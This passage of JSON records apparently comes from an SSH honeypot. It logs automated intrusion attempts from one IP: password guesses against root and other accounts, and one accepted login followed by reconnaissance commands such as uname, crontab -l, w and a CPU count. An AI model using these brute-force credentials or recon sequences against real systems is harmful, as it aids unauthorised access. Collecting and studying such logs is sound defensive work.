$7}'"},{"seq":10,"at":"2026-08-26T09:18:15.025960+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T09:18:15.619171+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T09:18:16.456412+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T09:18:17.049176+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T09:18:17.049687+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T09:18:17.642715+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T09:18:17.643555+00:00","kind":"output","latency_ms":null,"data":" 09:18:17 up 6 days, 6:08, 0 user, load average: 0.07, 0.08, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T09:18:18.230404+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T09:18:18.231917+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T09:18:18.822840+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T09:18:18.825256+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T09:18:19.418338+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T09:18:19.418963+00:00","kind":"output","latency_ms":null,"data":"top - 09:18:19 up 6 days, 6:08, 0 user, load average: 0.07, 0.08, 0.06\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T09:18:20.008117+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T09:18:20.008768+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T09:18:20.598647+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T09:18:20.599128+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T09:18:21.189029+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T09:18:21.189738+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T09:18:21.779278+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T09:18:22.311413+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T09:18:23.299037+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T09:18:23.846577+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123abc321","method":"password","accepted":true,"tier":"other"}]} {"id":"4990aded-3765-44ea-8b1c-68ebe2f34a7c","name":"distant-reedy-shelduck","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":39530,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:18:09.410071+00:00","ended_at":"2026-08-26T09:18:11.495916+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"46fd8d16-23aa-4a71-b64b-823fc23883cf","name":"gritty-wooded-stoat","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":39516,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:17:59.875309+00:00","ended_at":"2026-08-26T09:18:59.876339+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"0b3d785e-45cf-4aca-ba91-cb1eb945f318","name":"ivory-graceful-oxpecker","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":60562,"username":"antigo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:10:02.687123+00:00","ended_at":"2026-08-26T09:10:03.460776+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"antigo","password":"antigo","method":"password","accepted":false,"tier":"other"}]}